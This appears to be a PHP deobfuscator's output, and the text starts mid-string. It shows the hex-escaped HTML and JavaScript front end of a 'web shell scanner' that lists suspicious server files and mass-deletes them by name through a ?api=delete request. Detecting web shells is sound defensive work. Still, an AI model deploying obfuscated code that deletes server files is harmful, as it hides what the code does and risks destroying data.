\x68r\x65\x66\x3d\x22\x68t\x74\x70\x73://\x66o\x6e\x74s\x2e\x67st\x61\x74\x69c.com\x22\x20cros\x73\x6fri\x67in\x3e\n\t\t\x3c\x6c\x69n\x6b\x20href=\x22ht\x74p\x73://\x63d\x6e\x6a\x73.c\x6c\x6f\x75df\x6care\x2ecom/aja\x78/\x6c\x69\x62s/font-aw\x65\x73om\x65/5\x2e\x313.0/c\x73\x73/\x61ll\x2e\x6din\x2ec\x73s\x22 r\x65\x6c=\"st\x79\x6c\x65s\x68ee\x74\x22\x3e\n\t\t\x3clin\x6b\x20hr\x65\x66=\x22h\x74\x74ps://\x66o\x6ets\x2eg\x6fo\x67\x6c\x65a\x70\x69s\x2e\x63\x6fm/\x63s\x73\x32?fami\x6c\x79\x3d\x52obo\x74\x6f+Co\x6edens\x65\x64:w\x67ht\x40\x330\x30\x26\x64ispla\x79=\x73wa\x70\x22 r\x65l=\"\x73t\x79l\x65sh\x65e\x74\">\n\t\t\x3c\x6c\x69\x6e\x6b \x72\x65l\x3d\x22s\x74y\x6ce\x73\x68e\x65t\x22\x20\x74ype=\x22\x74e\x78\x74/\x63s\x73\" hr\x65\x66=\x22\x68t\x74\x70s://cdn.d\x61t\x61\x74a\x62l\x65\x73.\x6e\x65t/\x31\x2e1\x31.4/\x63s\x73/d\x61ta\x54\x61\x62l\x65s.bo\x6f\x74s\x74\x72a\x70\x35\x2emin\x2e\x63\x73s\"\x3e\n\t\t<tit\x6c\x65\x3eW\x45B\x20\x53\x48EL\x4c \x53C\x41\x4e\x4eER</\x74\x69\x74\x6c\x65\x3e\n\t</h\x65\x61d>\n\t\x3cb\x6fd\x79\x3e\n\t\t\x3c\x64\x69v\x20\x63\x6cass=\"\x63\x6fn\x74\x61in\x65r\"\x3e\n\t\t\t<\x64\x69\x76 clas\x73\x3d\x22\x74ex\x74-cen\x74er \x6d-3\"\x20s\x74yle\x3d\x22\x66o\x6e\x74-fam\x69l\x79: '\x52o\x62ot\x6f\x20Co\x6ed\x65\x6e\x73e\x64'\x3b\"\x3e\n\t\t\t\t<spa\x6e sty\x6ce=\"f\x6fn\x74-s\x69z\x65:3\x30p\x78;\">\n\t\t\t\t\t\x57\x45B\x20SH\x45\x4cL\x20\x53\x43\x41\x4eNE\x52\n\t\t\t\t\x3c/\x73pan\x3e\n\t\t\t\t\x3cp c\x6cas\x73=\"t\x65\x78t-\x64an\x67e\x72\x22\x3eAu\x74h\x6fr : @Gt\x78\x366\x36\x54i\x3c/p\x3e\n\t\t\t\x3c/\x64\x69\x76>\n\t\t\t<\x68r/\x3e\n\t\t\t<\x64iv \x63\x6c\x61ss=\x22ro\x77\">\n\t\t\t\t\x3cd\x69\x76 c\x6cass=\"\x63o\x6c\x22\x3e\n\t\t\t\t\t\x3cdi\x76 c\x6c\x61\x73s\x3d\"mb-\x33\x22>\n\t\t\t\t\t\t<lab\x65l\x20for\x3d\"\x70\x61\x74\x68\" c\x6c\x61\x73s=\x22\x66o\x72\x6d-l\x61bel\"\x3e\x50a\x74h\x20to\x20\x53c\x61\x6e\x3c/\x6ca\x62\x65\x6c\x3e\n\t\t\t\t\t\t\x3c\x64\x69v \x63la\x73s=\"\x69n\x70u\x74-g\x72\x6f\x75\x70\">\n\t\t\t\t\t\t\t<i\x6e\x70u\x74 \x74\x79\x70e\x3d\x22t\x65\x78\x74\x22\x20cl\x61\x73s=\x22form-co\x6etr\x6fl\" \x69\x64\x3d\"\x70\x61th\" p\x6ca\x63ehol\x64er=\"/var/\x77w\x77/ht\x6dl/\">\n\t\t\t\t\t\t\t\x3cbutton\x20\x63\x6ca\x73s=\x22bt\x6e \x62tn-\x70\x72im\x61ry\x22 id\x3d\"\x73\x74\x61r\x74\x53ca\x6e\x22\x20o\x6e\x63lick\x3d\"scan()\x22>S\x74\x61\x72\x74\x3c/b\x75t\x74on>\n\t\t\t\t\t\t\x3c/div\x3e\n\t\t\t\t\t</d\x69v\x3e\n\t\t\t\t\t\x3c\x64\x69\x76 \x63\x6c\x61\x73s=\"\x22\x3e\n\t\t\t\t\t\t<la\x62e\x6c\x20fo\x72\x3d\"\x70ath\" cla\x73s=\"f\x6fr\x6d-\x6c\x61\x62\x65\x6c\">Mass\x20D\x65\x6cete \x62\x79\x20Nam\x65</l\x61be\x6c\x3e\n\t\t\t\t\t\t\x3c\x64\x69\x76 c\x6ca\x73\x73=\x22\x69\x6e\x70\x75\x74-\x67r\x6fu\x70\">\n\t\t\t\t\t\t\t<\x69\x6epu\x74 typ\x65\x3d\x22t\x65x\x74\x22\x20c\x6ca\x73s\x3d\"\x66\x6frm-co\x6e\x74\x72\x6f\x6c\x22 id=\x22f\x69l\x65N\x61me\x22\x20pla\x63\x65h\x6f\x6cd\x65\x72=\"f\x69\x6cename.\x70\x68p\x22\x3e\n\t\t\t\t\t\t\t\x3cbutto\x6e \x63l\x61\x73s=\"bt\x6e b\x74\x6e-\x64\x61nge\x72\"\x20\x69d\x3d\"\x73\x74a\x72t\x44el\x65te\"\x20\x6fn\x63\x6c\x69\x63\x6b\x3d\x22\x73\x63\x61n\x32()\x22\x3eSt\x61\x72\x74\x3c/\x62\x75t\x74on>\n\t\t\t\t\t\t\x3c/div>\n\t\t\t\t\t</div\x3e\n\t\t\t\t\x3c/d\x69v>\n\t\t\t</\x64iv>\n\t\t\t<h\x72/\x3e\n\t\t\t\x3cd\x69\x76\x20c\x6c\x61s\x73=\"\x72o\x77\x20\x6dt-3\">\n\t\t\t\t\x3cd\x69\x76\x20\x63\x6ca\x73s\x3d\"\x63o\x6c\"\x3e\n\t\t\t\t\t<t\x61\x62l\x65\x20c\x6c\x61s\x73\x3d\x22\x74\x61b\x6ce\" \x69\x64\x3d\"_\x72esu\x6ct\">\n\t\t\t\t\t\t<th\x65ad>\n\t\t\t\t\t\t\t\x3ct\x72\x3e\n\t\t\t\t\t\t\t\t<th\x20s\x63\x6f\x70e=\x22c\x6f\x6c\x22\x3eFi\x6ce</\x74\x68\x3e\n\t\t\t\t\t\t\t\t\x3c\x74h s\x63o\x70\x65\x3d\x22c\x6fl\"\x3ePat\x68</th>\n\t\t\t\t\t\t\t\t\x3c\x74h sc\x6fp\x65=\x22col\x22>R\x65\x61\x73on</t\x68>\n\t\t\t\t\t\t\t\t<\x74h \x73co\x70\x65=\"\x63o\x6c\">\x41ct\x69\x6f\x6e\x3c/\x74h>\n\t\t\t\t\t\t\t\x3c/tr\x3e\n\t\t\t\t\t\t\x3c/\x74head\x3e\n\t\t\t\t\t\t\x3ct\x62od\x79\x3e\n\t\t\t\t\t\t</\x74b\x6fd\x79>\n\t\t\t\t\t\x3c/t\x61b\x6c\x65\x3e\n\t\t\t\t</\x64\x69v\x3e\n\t\t\t</di\x76\x3e\n\t\t</div\x3e\n\t\t\x3csc\x72\x69\x70t \x73\x72\x63\x3d\"http\x73://c\x64\x6e.j\x73d\x65\x6ci\x76\x72.\x6e\x65\x74/n\x70m/bo\x6f\x74s\x74\x72ap\x40\x35.\x31.3/dist/\x6as/boo\x74st\x72a\x70\x2e\x62u\x6ed\x6c\x65.mi\x6e\x2ejs\x22 \x69\x6et\x65\x67r\x69ty\x3d\x22\x73\x68\x61\x33\x38\x34-k\x61\x37S\x6b\x30\x47ln\x34\x67mtz\x32\x4d\x6c\x51n\x69\x6bT\x31w\x58gYs\x4f\x67+OMh\x75P+I\x6cR\x489\x73ENBO0L\x52\x6e5\x71+8n\x62\x54\x6f\x764+1\x70\"\x20\x63\x72os\x73ori\x67in\x3d\x22an\x6f\x6eym\x6f\x75s\">\x3c/s\x63r\x69p\x74>\n\t\t\x3c\x73cr\x69\x70\x74 sr\x63=\x22\x68tt\x70s://\x63dn\x2ejs\x64\x65\x6ci\x76\x72\x2e\x6e\x65\x74/npm/j\x71uery@\x33\x2e5\x2e1/\x64i\x73t/\x6aq\x75er\x79\x2e\x73l\x69m.min\x2e\x6as\x22>\x3c/\x73\x63r\x69pt>\n\t\t<\x73\x63\x72\x69p\x74 \x73r\x63\x3d\"h\x74tp\x73://\x63\x64\x6e\x2e\x6a\x73d\x65livr.ne\x74/npm/po\x70per.j\x73\x40\x31\x2e16.1/\x64is\x74/um\x64/\x70op\x70er.\x6d\x69n.\x6a\x73\x22></s\x63\x72\x69pt\x3e\n\t\t\x3c\x73c\x72\x69pt ty\x70\x65=\"\x74\x65\x78\x74/ja\x76a\x73\x63\x72i\x70\x74\" s\x72\x63\x3d\"https://c\x64n\x2e\x64a\x74\x61t\x61\x62\x6c\x65\x73\x2ene\x74/\x31\x2e\x31\x31.\x34/j\x73/\x6a\x71\x75ery\x2e\x64\x61\x74\x61T\x61ble\x73.m\x69n.js\">\x3c/\x73c\x72ipt>\n\t\t<\x73c\x72\x69\x70t typ\x65\x3d\"t\x65\x78\x74/\x6aava\x73crip\x74\x22\x20sr\x63=\"ht\x74\x70s://\x63dn\x2edat\x61\x74\x61b\x6c\x65s\x2en\x65\x74/\x31.\x311.4/\x6a\x73/\x64\x61\x74a\x54a\x62\x6ce\x73\x2e\x62\x6f\x6f\x74\x73\x74\x72ap\x35.\x6di\x6e\x2ejs\"></\x73cr\x69pt>\n\n\t\t<s\x63\x72ip\x74>\n\t\t\tva\x72 dt\x61\x62\x6ce;\n\t\t\t\$(\x64\x6fcume\x6et)\x2e\x72\x65a\x64\x79(\x66u\x6ec\x74io\x6e(){\n\t\t\t\tdt\x61ble\x20= \$('#_re\x73u\x6c\x74\x27).D\x61\x74\x61T\x61bl\x65();\n\t\t\t\t\$(\x27[d\x61t\x61-t\x6f\x67\x67le\x3d\"\x74\x6f\x6flt\x69\x70\"]\x27)\x2et\x6fo\x6ct\x69\x70();\n\t\t\t})\x3b\n\t\t\t\$('#\x5f\x72\x65\x73\x75l\x74\x27).\x6fn('c\x6cic\x6b\x27, '#\x64e\x6c\x65te\x27, func\x74ion\x20() {\n\n\t\t\t\tva\x72\x20R\x6fw\x49\x6ede\x78\x20\x3d\x20\$(t\x68i\x73).c\x6co\x73\x65st('t\x72')\x3b\n\t\t\t\t\x76ar\x20\x64a\x74a\x20= \x64tab\x6c\x65.\x72ow(Ro\x77\x49n\x64e\x78)\x2eda\x74a()\x3b\n\t\t\t\tif(c\x6f\x6efir\x6d('D\x65lete \x27\x20+ \x64\x61t\x61[1]\x20+\x20\x27?\x27)\x20=\x3d t\x72u\x65){\n\t\t\t\t\td\x74\x61\x62l\x65\x2erow(\x52\x6fwIn\x64\x65\x78).\x72\x65m\x6fv\x65().d\x72aw()\x3b\n\t\t\t\t\tde\x6ce\x74eFi\x6c\x65(d\x61\x74a[1])\x3b\n\t\t\t\t}\n\t\t\t});\n\t\t\t\$(\x27\x23_\x72e\x73ul\x74').o\x6e(\x27click\x27,\x20\x27#v\x69\x65w', f\x75\x6e\x63\x74\x69\x6fn\x20()\x20{\n\n\t\t\t\t\x76ar Ro\x77\x49ndex = \$(t\x68\x69\x73)\x2e\x63los\x65s\x74('t\x72');\n\t\t\t\t\x76\x61r\x20d\x61t\x61 =\x20\x64\x74\x61b\x6ce.\x72\x6fw(\x52o\x77I\x6ede\x78).\x64\x61\x74\x61();\n\t\t\t\t\x77\x69\x6e\x64ow\x2eope\x6e(\x27?\x76ie\x77\x3d'+data[1])\x3b\n\t\t\t});\n\n\t\t</s\x63\x72\x69\x70t\x3e\n\t\t<s\x63ript \x74\x79\x70e=\"\x74ex\x74/java\x73cr\x69\x70\x74\"\x3e\n\t\t\tco\x6est \x74\x61\x62le \x3d\x20\$(\x27#\x5f\x72\x65\x73u\x6c\x74')\x2eDa\x74\x61Ta\x62l\x65()\x3b\n\t\t\tc\x6fns\x74 c\x77\x64\x20\t\t=\x20'";echo getcwd();echo "/';\n\t\t\tdo\x63um\x65\x6e\x74\x2e\x67etElement\x42\x79\x49d('pa\x74\x68').\x76\x61\x6c\x75\x65\x20=\x20\x63\x77\x64\x3b\n\t\t\t\x66\x75\x6ecti\x6f\x6e\x20\x62a\x73\x65\x6ea\x6de(\x70\x61\x74h) {\n\t\t\t\t\x72\x65\x74\x75\x72n p\x61\x74\x68\x2esp\x6ci\x74('/\x27)\x2e\x72\x65\x76\x65\x72\x73\x65()[\x30];\n\t\t\t}\n\t\t\t\x66unct\x69o\x6e\x20ch\x65\x63\x6b\x45x\x74(\x70\x61th){\n\t\t\t\tf\x65tch(\x27?ap\x69\x3de\x78t&\x64ir=' + \x70a\x74h,\x20{\n\t\t\t\t\t\x68e\x61d\x65\x72s:\x20{\n\t\t\t\t\t\t\x27\x43\x6f\x6et\x65nt-\x54y\x70e': '\x61\x70\x70l\x69\x63\x61t\x69on/\x6as\x6f\x6e'\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t\t\x2eth\x65n(r\x65\x73\x20\x3d>\x20res\x2e\x6a\x73on())\n\t\t\t\t\x2e\x74\x68\x65\x6e(\x72e\x73 \x3d\x3e\x20{\n\t\t\t\t\t\x69f(r\x65\x73.\x64at\x61\x2estat\x75s \x3d=\x20\x74rue){\n\t\t\t\t\t\tt\x61bl\x65\x2ero\x77\x2eadd([\x62\x61\x73en\x61\x6de(r\x65\x73.\x64a\x74a\x2e\x66\x69l\x65),\x72e\x73\x2e\x64at\x61\x2e\x66i\x6c\x65,re\x73.\x64\x61\x74\x61.r\x65\x61\x73\x6fn,`\x3c\x61\x20c\x6c\x61s\x73\x3d\x22btn\x20b\x74\x6e-\x70ri\x6d\x61r\x79\x22\x20\x64\x61t\x61-\x74\x6fg\x67\x6ce=\x22t\x6fo\x6c\x74ip\x22\x20\x64at\x61-\x62\x73-plac\x65men\x74\x3d\x22bo\x74\x74\x6f\x6d\x22\x20\x69d=\x22\x76\x69\x65w\"\x20\x74i\x74\x6ce\x3d\"De\x74\x61\x69l\"\x3e\n\t\t\t\t\t\t\t\x3ci\x20c\x6c\x61\x73\x73\x3d\"f\x61\x20fa-\x65\x79\x65\x22>\x3c/i\x3e\n\t\t\t\t\t\t\t</\x61>\n\t\t\t\t\t\t\t<a \x63\x6c\x61s\x73=\"bt\x6e\x20b\x74\x6e-\x64\x61n\x67\x65\x72\" da\x74\x61-\x74oggl\x65=\"t\x6f\x6f\x6ct\x69\x70\"\x20data-\x62s-\x70lac\x65\x6de\x6e\x74\x3d\x22b\x6f\x74\x74\x6fm\" ti\x74\x6c\x65=\x22\x44\x65\x6c\x65t\x65\x22\x3e\n\t\t\t\t\t\t\t\x3ci c\x6c\x61\x73\x73\x3d\"\x66\x61 \x66\x61-tr\x61sh\"></\x69>\n\t\t\t\t\t\t\t</\x61>\x60]).dr\x61\x77()\x3b\n\t\t\t\t\t}\n\t\t\t\t})\x3b\n\t\t\t}\n\t\t\tfu\x6e\x63\x74i\x6fn c\x68ec\x6b\x53\x68ell(pat\x68){\n\t\t\t\tf\x65t\x63\x68(\x27?api=she\x6c\x6c\x26\x64i\x72\x3d\x27 + \x70\x61th,\x20{\n\t\t\t\t\t\x68\x65ader\x73:\x20{\n\t\t\t\t\t\t\x27\x43onten\x74-T\x79p\x65\x27:\x20'applica\x74i\x6fn/js\x6fn\x27\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t\t\x2ethe\x6e(re\x73\x20=> res\x2ejson())\n\t\t\t\t.\x74hen(\x72e\x73 \x3d>\x20{\n\t\t\t\t\tv\x61\x72\x20reaso\x6e\x20\x3d\x20'\x27;\n\t\t\t\t\tfor\x20(\x76a\x72 \x69\x20\x3d\x20\x72\x65\x73\x2edat\x61.re\x61\x73on\x2elength -\x201;\x20\x69 \x3e\x3d \x30; \x69--)\x20{\n\t\t\t\t\t\tr\x65a\x73\x6f\x6e += res\x2e\x64\x61t\x61\x2ere\x61so\x6e[i]+\"\x3c\x62r>\x22\x3b\n\t\t\t\t\t}\n\t\t\t\t\tif(\x72\x65s.dat\x61.st\x61\x74us == \x74\x72u\x65){\n\t\t\t\t\t\t\x74\x61\x62\x6c\x65.r\x6fw\x2ea\x64\x64([\x62a\x73en\x61\x6d\x65(\x72\x65s\x2edat\x61\x2ef\x69le),res.d\x61ta.\x66il\x65,\x72ea\x73on,`\x3ca c\x6cas\x73\x3d\x22bt\x6e\x20\x62t\x6e-\x70\x72ima\x72\x79\x22 data-tog\x67l\x65\x3d\x22\x74oo\x6cti\x70\x22\x20\x69d\x3d\"\x76iew\"\x20da\x74\x61-\x62\x73-pl\x61\x63e\x6d\x65\x6et\x3d\x22bott\x6f\x6d\x22\x20id=\"\x76i\x65w\x22\x20t\x69t\x6c\x65=\"\x44et\x61i\x6c\">\n\t\t\t\t\t\t\t\x3c\x69 c\x6c\x61\x73s=\"\x66\x61 \x66\x61-\x65\x79\x65\x22\x3e</i\x3e\n\t\t\t\t\t\t\t\x3c/a\x3e\n\t\t\t\t\t\t\t<\x61\x20\x63l\x61s\x73\x3d\"\x62tn b\x74\x6e-\x64\x61n\x67e\x72\" \x64\x61t\x61-\x74o\x67g\x6c\x65=\x22t\x6f\x6f\x6c\x74\x69\x70\x22\x20\x69\x64\x3d\x22\x64el\x65t\x65\x22\x20\x64at\x61-\x62s-\x70\x6cace\x6den\x74\x3d\"\x62\x6ft\x74om\x22\x20ti\x74\x6ce=\"\x44\x65\x6ce\x74e\">\n\t\t\t\t\t\t\t\x3ci\x20cla\x73s=\"\x66a\x20fa-t\x72a\x73\x68\"\x3e</\x69\x3e\n\t\t\t\t\t\t\t</a>`])\x2e\x64raw()\x3b\n\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t\t\x66\x75n\x63\x74ion s\x63a\x6e(p\x61\x74h\x20= do\x63\x75ment.\x67e\x74Eleme\x6etById('p\x61\x74\x68')\x2e\x76\x61lue){\n\t\t\t\t\x66e\x74c\x68('?a\x70i\x3ds\x63an\x26\x64\x69r\x3d\x27\x20+\x20\x70\x61th,\x20{\n\t\t\t\t\th\x65\x61\x64er\x73:\x20{\n\t\t\t\t\t\t\x27\x43\x6fnt\x65nt-\x54yp\x65': \x27appl\x69c\x61\x74\x69\x6fn/j\x73\x6f\x6e'\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t\t.the\x6e(re\x73 =>\x20\x72\x65s.\x6ason())\n\t\t\t\t.t\x68\x65\x6e(\x72\x65s\x20\x3d> {\n\t\t\t\t\t\x66o\x72 (\x76\x61r \x69 \x3d\x20\x72es\x2ed\x61\x74\x61\x2e\x64\x69\x72\x2e\x6c\x65n\x67th\x20-\x20\x31; \x69\x20>\x3d\x20\x30; \x69--) {\n\t\t\t\t\t\tsc\x61\x6e(\x72\x65\x73.d\x61ta\x2edi\x72[\x69])\n\t\t\t\t\t}\n\t\t\t\t\tfor\x20(\x76\x61\x72 i =\x20\x72\x65s.\x64\x61ta.\x66i\x6c\x65\x2e\x6ceng\x74\x68 - \x31\x3b\x20\x69 >\x3d\x200;\x20i--)\x20{\n\t\t\t\t\t\tch\x65\x63\x6b\x53\x68\x65\x6c\x6c(r\x65s.\x64at\x61\x2efi\x6ce[\x69]);\n\t\t\t\t\t\t\x63\x68\x65ckExt(r\x65\x73\x2e\x64\x61t\x61.f\x69\x6c\x65[\x69])\x3b\n\t\t\t\t\t}\n\t\t\t\t})\x3b\n\t\t\t}\n\t\t\t\x66\x75\x6e\x63\x74\x69\x6fn \x73\x63an\x32(){\n\t\t\t\tf\x6f\x72 (var i = t\x61\x62le.r\x6f\x77\x73()\x2ed\x61\x74a().\x6ceng\x74h - 1\x3b\x20\x69\x20\x3e\x3d\x200;\x20i--)\x20{\n\t\t\t\t\tda\x74a \x3d \x74a\x62\x6ce.\x72o\x77\x73(i).da\x74\x61()[0]\x3b\n\t\t\t\t\t\x6ea\x6de \x3d\x20d\x61\x74a[\x30]\x3b\n\t\t\t\t\ti\x66(\x6e\x61m\x65\x20=\x3d\x20\x64\x6f\x63\x75me\x6et\x2e\x67e\x74\x45l\x65\x6d\x65nt\x42\x79Id(\x27\x66\x69\x6ceN\x61m\x65\x27).\x76\x61\x6cu\x65){\n\t\t\t\t\t\t\x74\x61bl\x65\x2er\x6fw\x73(\x69)\x2er\x65m\x6f\x76e()\x2e\x64raw();\n\t\t\t\t\t\t\x64el\x65teF\x69\x6c\x65(da\x74\x61[\x31])\x3b\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\x66\x75\x6ec\x74ion\x20d\x65let\x65F\x69le(p\x61t\x68){\n\t\t\t\t\x66\x65tc\x68(\x27?a\x70i\x3d\x64\x65\x6cet\x65\x26\x64ir\x3d\x27 + p\x61t\x68)\n\t\t\t\t\x2eth\x65\x6e(res\x20=\x3e\x20\x72\x65s\x2e\x6aso\x6e())\n\t\t\t\t\x2e\x74h\x65\x6e(\x72\x65\x73\x20=> {\n\t\t\t\t});\n\t\t\t}\n\t\t\t\x66u\x6e\x63\x74ion h\x74mlT\x6fEl\x65\x6d\x65\x6e\x74(ht\x6dl)\x20{\n\t\t\t\t\x76a\x72\x20\x74\x65\x6d\x70\x6ca\x74\x65\x20= \x64\x6fc\x75\x6d\x65\x6e\x74.cr\x65ateE\x6c\x65\x6den\x74(\x27\x74\x65\x6d\x70\x6ca\x74\x65\x27);\n\x20 \x20 \t\t\t\x68tm\x6c =\x20h\x74m\x6c.tr\x69\x6d();\x20//\x20\x4e\x65\x76\x65r\x20\x72etur\x6e\x20a \x74e\x78\x74 no\x64e\x20\x6ff \x77\x68\x69\x74\x65\x73pa\x63e as\x20\x74\x68\x65 re\x73\x75lt\n   \x20\t\t\tt\x65\x6d\x70la\x74\x65\x2ei\x6e\x6ee\x72\x48\x54\x4d\x4c\x20= h\x74m\x6c;\n\x20\x20\x20 \t\t\t\x72\x65\x74\x75\x72\x6e \x74\x65m\x70l\x61t\x65\x2e\x63\x6f\x6e\x74\x65n\x74\x2e\x66\x69\x72\x73t\x43\x68i\x6cd;\n \x20  \t\t}\n\x20   \t\t\x66u\x6e\x63\x74i\x6f\x6e\x20\x5f\x64\x65\x6cete(dat\x61){\n \x20 \x20\t\t\t\x63\x6fn\x73\x6f\x6c\x65\x2elog(\x64a\x74\x61)\n\x20 \x20 \t\t}\n\x20  \x20\t</\x73\x63\x72ip\x74\x3e\n  \x20 </\x62od\x79>\n\x20\x20\x20 </h\x74m\x6c\x3e\n";
?>

Function Calls

None

Variables

None

Stats

MD5 57cb9b3c57a3e8c478635f8e130a4ecb
Eval Count 0
Decode Time 69 ms